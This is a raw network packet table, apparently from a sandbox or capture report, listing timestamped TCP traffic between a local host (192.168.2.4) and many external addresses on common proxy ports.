Feb 23, 2024 09:45:16.928036928 CET	50282	3128	192.168.2.4	154.202.98.109
Feb 23, 2024 09:45:16.928036928 CET	50350	8089	192.168.2.4	111.225.153.200
Feb 23, 2024 09:45:16.928036928 CET	49995	54330	192.168.2.4	206.189.15.100
Feb 23, 2024 09:45:16.928047895 CET	50277	24604	192.168.2.4	51.195.139.95
Feb 23, 2024 09:45:16.928056955 CET	50278	49588	192.168.2.4	192.169.244.80
Feb 23, 2024 09:45:16.928076982 CET	50273	51327	192.168.2.4	185.51.92.103
Feb 23, 2024 09:45:16.928179979 CET	50269	8080	192.168.2.4	170.83.246.128
Feb 23, 2024 09:45:16.928179979 CET	50272	33633	192.168.2.4	190.109.72.17
Feb 23, 2024 09:45:16.931041956 CET	999	50388	191.97.16.160	192.168.2.4
Feb 23, 2024 09:45:16.931307077 CET	50270	5678	192.168.2.4	45.73.0.118
Feb 23, 2024 09:45:16.932224989 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.932284117 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:16.932357073 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:16.941737890 CET	3128	50044	39.109.113.97	192.168.2.4
Feb 23, 2024 09:45:16.941901922 CET	50044	3128	192.168.2.4	39.109.113.97
Feb 23, 2024 09:45:16.943607092 CET	50142	8000	192.168.2.4	137.184.22.92
Feb 23, 2024 09:45:16.943620920 CET	50000	3128	192.168.2.4	37.120.222.132
Feb 23, 2024 09:45:16.943630934 CET	50290	53281	192.168.2.4	103.82.233.2
Feb 23, 2024 09:45:16.943630934 CET	50285	33861	192.168.2.4	193.34.93.221
Feb 23, 2024 09:45:16.943636894 CET	50292	27531	192.168.2.4	162.144.36.208
Feb 23, 2024 09:45:16.944266081 CET	3128	50257	195.158.16.9	192.168.2.4
Feb 23, 2024 09:45:16.945003033 CET	6441	50046	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.946412086 CET	16379	50155	51.15.241.5	192.168.2.4
Feb 23, 2024 09:45:16.946468115 CET	50155	16379	192.168.2.4	51.15.241.5
Feb 23, 2024 09:45:16.946531057 CET	50281	80	192.168.2.4	107.148.201.157
Feb 23, 2024 09:45:16.946573019 CET	50283	15758	192.168.2.4	72.167.220.46
Feb 23, 2024 09:45:16.946635962 CET	50127	20627	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.946635962 CET	50125	22093	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:16.946635962 CET	50275	3128	192.168.2.4	191.101.78.207
Feb 23, 2024 09:45:16.948302031 CET	4145	49945	199.102.105.242	192.168.2.4
Feb 23, 2024 09:45:16.950687885 CET	80	50406	149.202.172.113	192.168.2.4
Feb 23, 2024 09:45:16.951942921 CET	6969	50392	190.61.32.168	192.168.2.4
Feb 23, 2024 09:45:16.952179909 CET	50358	80	192.168.2.4	203.222.24.36
Feb 23, 2024 09:45:16.953465939 CET	50409	6788	192.168.2.4	45.43.84.163
Feb 23, 2024 09:45:16.954500914 CET	20481	50513	5.196.111.30	192.168.2.4
Feb 23, 2024 09:45:16.958709002 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.958724976 CET	8080	50268	185.38.111.1	192.168.2.4
Feb 23, 2024 09:45:16.958776951 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:16.959232092 CET	50293	8443	192.168.2.4	69.94.136.71
Feb 23, 2024 09:45:16.959242105 CET	50139	27917	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:16.959242105 CET	50297	4153	192.168.2.4	41.160.23.114
Feb 23, 2024 09:45:16.959245920 CET	50026	80	192.168.2.4	50.172.75.124
Feb 23, 2024 09:45:16.960381985 CET	27645	50055	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.960436106 CET	10005	50461	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.960453987 CET	8635	50052	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.960469961 CET	16703	50059	72.10.160.93	192.168.2.4
Feb 23, 2024 09:45:16.960536003 CET	2191	50460	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:16.963442087 CET	4145	50475	116.199.170.17	192.168.2.4
Feb 23, 2024 09:45:16.963582993 CET	50475	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:16.965037107 CET	18681	49765	67.43.228.250	192.168.2.4
Feb 23, 2024 09:45:16.969319105 CET	50524	80	192.168.2.4	104.18.136.28
Feb 23, 2024 09:45:16.969950914 CET	80	50330	50.200.12.86	192.168.2.4
Feb 23, 2024 09:45:16.970613956 CET	50543	10471	192.168.2.4	167.172.86.46
Feb 23, 2024 09:45:16.971266031 CET	50544	15311	192.168.2.4	184.178.172.13
Feb 23, 2024 09:45:16.973761082 CET	4145	49751	222.124.130.198	192.168.2.4
Feb 23, 2024 09:45:16.974415064 CET	80	49749	96.113.159.162	192.168.2.4
Feb 23, 2024 09:45:16.974873066 CET	49805	3021	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.974890947 CET	50298	5678	192.168.2.4	1.15.62.12
Feb 23, 2024 09:45:16.974984884 CET	50263	55606	192.168.2.4	45.117.179.179
Feb 23, 2024 09:45:16.975717068 CET	50123	64693	192.168.2.4	208.87.131.151
Feb 23, 2024 09:45:16.975759983 CET	49801	12129	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:16.975775957 CET	49958	57520	192.168.2.4	41.242.90.3
Feb 23, 2024 09:45:16.975797892 CET	50299	5678	192.168.2.4	96.9.86.218
Feb 23, 2024 09:45:16.975797892 CET	50302	8080	192.168.2.4	118.98.166.56
Feb 23, 2024 09:45:16.975797892 CET	50303	80	192.168.2.4	172.232.111.247
Feb 23, 2024 09:45:16.975797892 CET	50311	999	192.168.2.4	45.225.184.177
Feb 23, 2024 09:45:16.975802898 CET	50304	9090	192.168.2.4	38.41.53.149
Feb 23, 2024 09:45:16.975862980 CET	50312	8001	192.168.2.4	37.187.88.32
Feb 23, 2024 09:45:16.976164103 CET	25053	50069	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:16.978296041 CET	49826	30001	192.168.2.4	111.3.102.135
Feb 23, 2024 09:45:16.978610039 CET	50500	3128	192.168.2.4	65.21.255.197
Feb 23, 2024 09:45:16.979192972 CET	34041	50393	185.225.200.247	192.168.2.4
Feb 23, 2024 09:45:16.979811907 CET	80	50427	50.222.245.40	192.168.2.4
Feb 23, 2024 09:45:16.986500978 CET	15673	50540	23.95.216.90	192.168.2.4
Feb 23, 2024 09:45:16.986567020 CET	50540	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:16.986994982 CET	50355	80	192.168.2.4	13.229.47.109
Feb 23, 2024 09:45:16.988832951 CET	25341	50071	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:16.989063025 CET	50085	80	192.168.2.4	172.67.181.89
Feb 23, 2024 09:45:16.989346027 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:16.989375114 CET	4153	50199	103.117.109.9	192.168.2.4
Feb 23, 2024 09:45:16.989583969 CET	15460	50174	145.239.2.102	192.168.2.4
Feb 23, 2024 09:45:16.989650011 CET	50174	15460	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:16.989891052 CET	50545	20481	192.168.2.4	5.196.111.30
Feb 23, 2024 09:45:16.989902973 CET	50284	4145	192.168.2.4	142.54.236.97
Feb 23, 2024 09:45:16.989964008 CET	50396	80	192.168.2.4	106.14.255.124
Feb 23, 2024 09:45:16.990498066 CET	50161	12707	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:16.990498066 CET	50057	4145	192.168.2.4	107.181.168.145
Feb 23, 2024 09:45:16.990506887 CET	50306	8080	192.168.2.4	154.73.28.89
Feb 23, 2024 09:45:16.990509033 CET	50442	80	192.168.2.4	103.75.117.79
Feb 23, 2024 09:45:16.990521908 CET	49778	8000	192.168.2.4	137.184.15.145
Feb 23, 2024 09:45:16.990523100 CET	50308	80	192.168.2.4	203.57.51.53
Feb 23, 2024 09:45:16.990525007 CET	50483	1981	192.168.2.4	144.91.89.245
Feb 23, 2024 09:45:16.990529060 CET	50313	3128	192.168.2.4	172.233.255.11
Feb 23, 2024 09:45:16.990536928 CET	50317	8089	192.168.2.4	111.225.152.100
Feb 23, 2024 09:45:16.990545988 CET	50310	20317	192.168.2.4	192.169.205.131
Feb 23, 2024 09:45:16.990545988 CET	50326	30002	192.168.2.4	80.240.20.183
Feb 23, 2024 09:45:16.990550041 CET	50322	60249	192.168.2.4	171.244.140.160
Feb 23, 2024 09:45:16.990555048 CET	50316	42905	192.168.2.4	91.203.114.71
Feb 23, 2024 09:45:16.990573883 CET	50320	2419	192.168.2.4	109.205.181.27
Feb 23, 2024 09:45:16.990573883 CET	50324	9999	192.168.2.4	178.212.196.177
Feb 23, 2024 09:45:16.990693092 CET	50319	4153	192.168.2.4	185.134.99.62
Feb 23, 2024 09:45:16.992825985 CET	50546	9000	192.168.2.4	122.116.150.2
Feb 23, 2024 09:45:16.993022919 CET	50006	5678	192.168.2.4	130.193.123.34
Feb 23, 2024 09:45:16.993206978 CET	50010	8080	192.168.2.4	212.174.79.165
Feb 23, 2024 09:45:16.993298054 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:16.993361950 CET	50120	51350	192.168.2.4	166.62.53.45
Feb 23, 2024 09:45:16.994086027 CET	50547	4145	192.168.2.4	61.7.183.152
Feb 23, 2024 09:45:16.994179010 CET	50136	4145	192.168.2.4	72.210.208.101
Feb 23, 2024 09:45:16.994328976 CET	50072	35010	192.168.2.4	185.215.160.118
Feb 23, 2024 09:45:16.994522095 CET	50044	3128	192.168.2.4	39.109.113.97
Feb 23, 2024 09:45:16.994611979 CET	50155	16379	192.168.2.4	51.15.241.5
Feb 23, 2024 09:45:16.995101929 CET	8000	50183	128.199.252.22	192.168.2.4
Feb 23, 2024 09:45:16.997509956 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997528076 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997545958 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997564077 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997591019 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.997617006 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997621059 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.997637987 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997654915 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997674942 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:16.997679949 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:16.997721910 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.000006914 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.000046968 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.000078917 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.000097036 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.000123024 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.000160933 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.003670931 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.003724098 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.003745079 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.003767967 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.003771067 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.003808975 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.005433083 CET	33429	50377	193.106.57.7	192.168.2.4
Feb 23, 2024 09:45:17.006015062 CET	33427	49912	91.135.80.66	192.168.2.4
Feb 23, 2024 09:45:17.006117105 CET	50314	2222	192.168.2.4	219.129.167.82
Feb 23, 2024 09:45:17.006129980 CET	50061	80	192.168.2.4	50.172.75.120
Feb 23, 2024 09:45:17.006134987 CET	50167	14745	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.006134987 CET	49802	83	192.168.2.4	103.155.54.38
Feb 23, 2024 09:45:17.006151915 CET	50323	5678	192.168.2.4	190.186.23.99
Feb 23, 2024 09:45:17.006200075 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.006220102 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.006227970 CET	50328	4145	192.168.2.4	174.77.111.196
Feb 23, 2024 09:45:17.006239891 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.006258011 CET	31602	50095	49.13.116.170	192.168.2.4
Feb 23, 2024 09:45:17.006280899 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.006304979 CET	50095	31602	192.168.2.4	49.13.116.170
Feb 23, 2024 09:45:17.009982109 CET	50268	8080	192.168.2.4	185.38.111.1
Feb 23, 2024 09:45:17.012787104 CET	50540	15673	192.168.2.4	23.95.216.90
Feb 23, 2024 09:45:17.012855053 CET	50174	15460	192.168.2.4	145.239.2.102
Feb 23, 2024 09:45:17.013394117 CET	50475	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:17.013586998 CET	50548	4145	192.168.2.4	116.199.170.17
Feb 23, 2024 09:45:17.014755011 CET	50160	3128	192.168.2.4	185.165.46.208
Feb 23, 2024 09:45:17.017815113 CET	56755	50223	162.214.102.195	192.168.2.4
Feb 23, 2024 09:45:17.017898083 CET	50223	56755	192.168.2.4	162.214.102.195
Feb 23, 2024 09:45:17.018074989 CET	50223	56755	192.168.2.4	162.214.102.195
Feb 23, 2024 09:45:17.021740913 CET	50491	31147	192.168.2.4	209.121.164.50
Feb 23, 2024 09:45:17.021758080 CET	50198	10739	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.021766901 CET	50056	8080	192.168.2.4	5.78.89.192
Feb 23, 2024 09:45:17.021766901 CET	50020	48024	192.168.2.4	181.113.34.86
Feb 23, 2024 09:45:17.021781921 CET	50068	29430	192.168.2.4	162.214.102.121
Feb 23, 2024 09:45:17.021789074 CET	50137	80	192.168.2.4	50.168.163.178
Feb 23, 2024 09:45:17.022279024 CET	49815	3128	192.168.2.4	13.234.24.116
Feb 23, 2024 09:45:17.022986889 CET	29129	50110	72.10.160.90	192.168.2.4
Feb 23, 2024 09:45:17.030936003 CET	80	50497	64.227.106.157	192.168.2.4
Feb 23, 2024 09:45:17.031327009 CET	8000	50142	137.184.22.92	192.168.2.4
Feb 23, 2024 09:45:17.033864021 CET	4145	50376	185.169.181.22	192.168.2.4
Feb 23, 2024 09:45:17.034703016 CET	4145	50541	24.249.199.4	192.168.2.4
Feb 23, 2024 09:45:17.034742117 CET	50291	10958	192.168.2.4	132.148.154.97
Feb 23, 2024 09:45:17.034784079 CET	50541	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:17.034898043 CET	50541	4145	192.168.2.4	24.249.199.4
Feb 23, 2024 09:45:17.035218954 CET	50347	39796	192.168.2.4	141.94.174.6
Feb 23, 2024 09:45:17.035584927 CET	26589	50535	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.035600901 CET	26589	50535	157.185.161.100	192.168.2.4
Feb 23, 2024 09:45:17.036655903 CET	50549	26589	192.168.2.4	157.185.161.100
Feb 23, 2024 09:45:17.037364960 CET	50518	14917	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.037375927 CET	50332	59810	192.168.2.4	107.180.101.226
Feb 23, 2024 09:45:17.037396908 CET	50340	7654	192.168.2.4	181.205.41.210
Feb 23, 2024 09:45:17.037406921 CET	50335	3128	192.168.2.4	190.136.50.67
Feb 23, 2024 09:45:17.038520098 CET	49981	80	192.168.2.4	221.194.149.8
Feb 23, 2024 09:45:17.039037943 CET	8080	50141	190.19.114.104	192.168.2.4
Feb 23, 2024 09:45:17.039083958 CET	50141	8080	192.168.2.4	190.19.114.104
Feb 23, 2024 09:45:17.039134026 CET	50510	32284	192.168.2.4	185.129.250.183
Feb 23, 2024 09:45:17.039139986 CET	50515	4145	192.168.2.4	74.119.147.209
Feb 23, 2024 09:45:17.039156914 CET	50338	60153	192.168.2.4	167.172.159.43
Feb 23, 2024 09:45:17.039156914 CET	50208	6533	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.039164066 CET	50339	23971	192.168.2.4	164.92.85.180
Feb 23, 2024 09:45:17.041481972 CET	22093	50125	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.041697025 CET	20627	50127	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.044821978 CET	6005	50514	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.045082092 CET	6005	50514	87.106.114.124	192.168.2.4
Feb 23, 2024 09:45:17.045124054 CET	50514	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.045506954 CET	50514	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.046432018 CET	80	50118	123.110.158.236	192.168.2.4
Feb 23, 2024 09:45:17.046520948 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:17.049608946 CET	17182	49775	139.99.9.218	192.168.2.4
Feb 23, 2024 09:45:17.050632954 CET	50118	80	192.168.2.4	123.110.158.236
Feb 23, 2024 09:45:17.050952911 CET	80	50133	223.27.144.51	192.168.2.4
Feb 23, 2024 09:45:17.051012993 CET	50133	80	192.168.2.4	223.27.144.51
Feb 23, 2024 09:45:17.051430941 CET	50133	80	192.168.2.4	223.27.144.51
Feb 23, 2024 09:45:17.051909924 CET	50550	6005	192.168.2.4	87.106.114.124
Feb 23, 2024 09:45:17.052992105 CET	50334	80	192.168.2.4	165.154.236.214
Feb 23, 2024 09:45:17.053011894 CET	50215	23475	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.053013086 CET	50343	51226	192.168.2.4	162.240.19.133
Feb 23, 2024 09:45:17.053018093 CET	50344	2525	192.168.2.4	103.133.223.211
Feb 23, 2024 09:45:17.053033113 CET	50492	5678	192.168.2.4	212.89.173.101
Feb 23, 2024 09:45:17.053034067 CET	49895	8080	192.168.2.4	171.97.12.175
Feb 23, 2024 09:45:17.053033113 CET	50351	63049	192.168.2.4	46.182.6.69
Feb 23, 2024 09:45:17.053035021 CET	50022	52246	192.168.2.4	45.7.177.85
Feb 23, 2024 09:45:17.053047895 CET	50356	8080	192.168.2.4	51.210.183.2
Feb 23, 2024 09:45:17.053057909 CET	50352	8080	192.168.2.4	168.196.246.118
Feb 23, 2024 09:45:17.054934025 CET	4153	50194	184.82.142.201	192.168.2.4
Feb 23, 2024 09:45:17.056083918 CET	80	49735	50.172.227.202	192.168.2.4
Feb 23, 2024 09:45:17.056117058 CET	80	50481	50.173.140.145	192.168.2.4
Feb 23, 2024 09:45:17.057117939 CET	80	50524	104.18.136.28	192.168.2.4
Feb 23, 2024 09:45:17.057169914 CET	80	50524	104.18.136.28	192.168.2.4
Feb 23, 2024 09:45:17.057813883 CET	80	50524	104.18.136.28	192.168.2.4
Feb 23, 2024 09:45:17.057862997 CET	50524	80	192.168.2.4	104.18.136.28
Feb 23, 2024 09:45:17.058192968 CET	50551	47056	192.168.2.4	162.240.10.35
Feb 23, 2024 09:45:17.058994055 CET	15311	50544	184.178.172.13	192.168.2.4
Feb 23, 2024 09:45:17.059040070 CET	50544	15311	192.168.2.4	184.178.172.13
Feb 23, 2024 09:45:17.059079885 CET	50552	23306	192.168.2.4	51.38.14.161
Feb 23, 2024 09:45:17.059501886 CET	50524	80	192.168.2.4	104.18.136.28
Feb 23, 2024 09:45:17.059874058 CET	27917	50139	67.43.227.228	192.168.2.4
Feb 23, 2024 09:45:17.061079979 CET	5678	50542	89.161.90.203	192.168.2.4
Feb 23, 2024 09:45:17.061134100 CET	50542	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:17.061695099 CET	50542	5678	192.168.2.4	89.161.90.203
Feb 23, 2024 09:45:17.063668013 CET	49952	2941	192.168.2.4	67.43.236.20
Feb 23, 2024 09:45:17.063678026 CET	50435	49397	192.168.2.4	172.93.111.87
Feb 23, 2024 09:45:17.063781023 CET	50353	11946	192.168.2.4	91.134.140.160
Feb 23, 2024 09:45:17.063785076 CET	50354	31196	192.168.2.4	123.231.230.58
Feb 23, 2024 09:45:17.064090014 CET	50537	4145	192.168.2.4	184.181.217.201
Feb 23, 2024 09:45:17.067164898 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:17.067178011 CET	8080	50519	65.21.188.18	192.168.2.4
Feb 23, 2024 09:45:17.067718983 CET	50519	8080	192.168.2.4	65.21.188.18
Feb 23, 2024 09:45:17.068363905 CET	3128	50261	77.68.111.73	192.168.2.4
Feb 23, 2024 09:45:17.068428040 CET	50261	3128	192.168.2.4	77.68.111.73
Feb 23, 2024 09:45:17.068589926 CET	50368	80	192.168.2.4	103.210.57.243
Feb 23, 2024 09:45:17.068609953 CET	50370	80	192.168.2.4	3.128.142.113
Feb 23, 2024 09:45:17.069013119 CET	50261	3128	192.168.2.4	77.68.111.73
Feb 23, 2024 09:45:17.069205046 CET	49953	22035	192.168.2.4	67.43.227.228
Feb 23, 2024 09:45:17.069226027 CET	50121	999	192.168.2.4	45.229.34.174
Feb 23, 2024 09:45:17.069227934 CET	50522	80	192.168.2.4	50.218.57.74
Feb 23, 2024 09:45:17.069233894 CET	50346	59431	192.168.2.4	167.99.123.158
Feb 23, 2024 09:45:17.069233894 CET	50361	3128	192.168.2.4	178.252.170.222
Feb 23, 2024 09:45:17.069242001 CET	50366	8080	192.168.2.4	149.126.101.162
Feb 23, 2024 09:45:17.069246054 CET	50357	80	192.168.2.4	88.87.78.137
Feb 23, 2024 09:45:17.069255114 CET	50367	8080	192.168.2.4	192.214.193.136
Feb 23, 2024 09:45:17.069802999 CET	3021	49805	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.070166111 CET	50553	64193	192.168.2.4	159.223.71.71
Feb 23, 2024 09:45:17.071160078 CET	12129	49801	67.43.227.227	192.168.2.4
Feb 23, 2024 09:45:17.072688103 CET	8081	50471	185.49.31.207	192.168.2.4
Feb 23, 2024 09:45:17.076150894 CET	59058	50030	213.136.75.85	192.168.2.4
Feb 23, 2024 09:45:17.076186895 CET	59058	50030	213.136.75.85	192.168.2.4
Feb 23, 2024 09:45:17.076239109 CET	50030	59058	192.168.2.4	213.136.75.85
Feb 23, 2024 09:45:17.076455116 CET	50030	59058	192.168.2.4	213.136.75.85
Feb 23, 2024 09:45:17.077280045 CET	80	50085	172.67.181.89	192.168.2.4
Feb 23, 2024 09:45:17.077295065 CET	80	50085	172.67.181.89	192.168.2.4
Feb 23, 2024 09:45:17.077306032 CET	80	50085	172.67.181.89	192.168.2.4
Feb 23, 2024 09:45:17.077518940 CET	50085	80	192.168.2.4	172.67.181.89
Feb 23, 2024 09:45:17.077578068 CET	80	50086	172.64.80.55	192.168.2.4
Feb 23, 2024 09:45:17.077603102 CET	80	50086	172.64.80.55	192.168.2.4
Feb 23, 2024 09:45:17.077863932 CET	80	50086	172.64.80.55	192.168.2.4
Feb 23, 2024 09:45:17.077956915 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:17.078494072 CET	9002	49929	120.197.40.219	192.168.2.4
Feb 23, 2024 09:45:17.078979969 CET	50085	80	192.168.2.4	172.67.181.89
Feb 23, 2024 09:45:17.080593109 CET	50086	80	192.168.2.4	172.64.80.55
Feb 23, 2024 09:45:17.082047939 CET	32148	50267	152.228.134.212	192.168.2.4
Feb 23, 2024 09:45:17.082130909 CET	50267	32148	192.168.2.4	152.228.134.212
Feb 23, 2024 09:45:17.082673073 CET	50267	32148	192.168.2.4	152.228.134.212
Feb 23, 2024 09:45:17.082935095 CET	50554	9090	192.168.2.4	5.135.136.60
Feb 23, 2024 09:45:17.084256887 CET	8080	50039	195.206.39.222	192.168.2.4
Feb 23, 2024 09:45:17.084264040 CET	50360	44692	192.168.2.4	64.202.186.2
Feb 23, 2024 09:45:17.084268093 CET	50225	6227	192.168.2.4	72.10.160.171
Feb 23, 2024 09:45:17.084280968 CET	50365	29834	192.168.2.4	109.238.12.156
Feb 23, 2024 09:45:17.084283113 CET	50373	999	192.168.2.4	181.209.100.2
Feb 23, 2024 09:45:17.084285975 CET	49919	42325	192.168.2.4	139.99.9.218
Feb 23, 2024 09:45:17.084400892 CET	50039	8080	192.168.2.4	195.206.39.222
Feb 23, 2024 09:45:17.085553885 CET	12707	50161	72.10.164.178	192.168.2.4
Feb 23, 2024 09:45:17.085608006 CET	8899	49817	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.085764885 CET	8899	49817	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.085827112 CET	8899	49817	117.160.250.134	192.168.2.4
Feb 23, 2024 09:45:17.085887909 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:17.088933945 CET	49817	8899	192.168.2.4	117.160.250.134
Feb 23, 2024 09:45:17.089819908 CET	4145	50259	98.170.57.231	192.168.2.4
Feb 23, 2024 09:45:17.089881897 CET	50259	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:17.091265917 CET	50259	4145	192.168.2.4	98.170.57.231
Feb 23, 2024 09:45:17.093518019 CET	54330	49995	206.189.15.100	192.168.2.4
Feb 23, 2024 09:45:17.095017910 CET	31979	49999	51.77.73.78	192.168.2.4
Feb 23, 2024 09:45:17.095603943 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095655918 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095671892 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095684052 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095695972 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095710039 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095721960 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.095726013 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095735073 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.095747948 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.095782042 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095793009 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095803976 CET	80	49783	96.114.36.9	192.168.2.4
Feb 23, 2024 09:45:17.095813036 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.095844030 CET	49783	80	192.168.2.4	96.114.36.9
Feb 23, 2024 09:45:17.096709013 CET	80	50114	58.182.138.139	192.168.2.4
Feb 23, 2024 09:45:17.096775055 CET	50114	80	192.168.2.4	58.182.138.139
Feb 23, 2024 09:45:17.099842072 CET	50176	9002	192.168.2.4	222.138.76.6
Feb 23, 2024 09:45:17.099865913 CET	50237	25085	192.168.2.4	72.10.164.178
Feb 23, 2024 09:45:17.099867105 CET	49834	10011	192.168.2.4	67.43.227.227
Feb 23, 2024 09:45:17.099895954 CET	50382	62105	192.168.2.4	188.164.196.31
Feb 23, 2024 09:45:17.099901915 CET	50390	4145	192.168.2.4	103.140.35.11
Feb 23, 2024 09:45:17.099905014 CET	50383	5814	192.168.2.4	161.97.160.158
Feb 23, 2024 09:45:17.101341963 CET	14745	50167	67.43.236.20	192.168.2.4
Feb 23, 2024 09:45:17.104686975 CET	10820	50025	88.255.217.44	192.168.2.4
Feb 23, 2024 09:45:17.104734898 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:17.104789019 CET	50374	80	192.168.2.4	116.203.27.109
Feb 23, 2024 09:45:17.104799986 CET	50380	3865	192.168.2.4	51.210.45.148
Feb 23, 2024 09:45:17.104805946 CET	50379	33338	192.168.2.4	188.164.193.178
Feb 23, 2024 09:45:17.104808092 CET	49986	3128	192.168.2.4	78.38.93.22
Feb 23, 2024 09:45:17.104814053 CET	50381	3333	192.168.2.4	80.194.38.106
Feb 23, 2024 09:45:17.104819059 CET	50385	5678	192.168.2.4	46.214.153.223
Feb 23, 2024 09:45:17.104819059 CET	50387	30000	192.168.2.4	5.9.141.151
Feb 23, 2024 09:45:17.104829073 CET	50533	80	192.168.2.4	50.170.90.27
Feb 23, 2024 09:45:17.104856014 CET	50378	6025	192.168.2.4	186.215.87.194
Feb 23, 2024 09:45:17.105077028 CET	50025	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:17.105839968 CET	50555	10820	192.168.2.4	88.255.217.44
Feb 23, 2024 09:45:17.107289076 CET	6788	50409	45.43.84.163	192.168.2.4
Feb 23, 2024 09:45:17.108818054 CET	50556	3128	192.168.2.4	154.202.116.220
Feb 23, 2024 09:45:17.109031916 CET	32650	49789	154.79.254.236	192.168.2.4
Feb 23, 2024 09:45:17.109042883 CET	3128	50240	83.219.145.106	192.168.2.4
Feb 23, 2024 09:45:17.109107018 CET	50240	3128	192.168.2.4	83.219.145.106
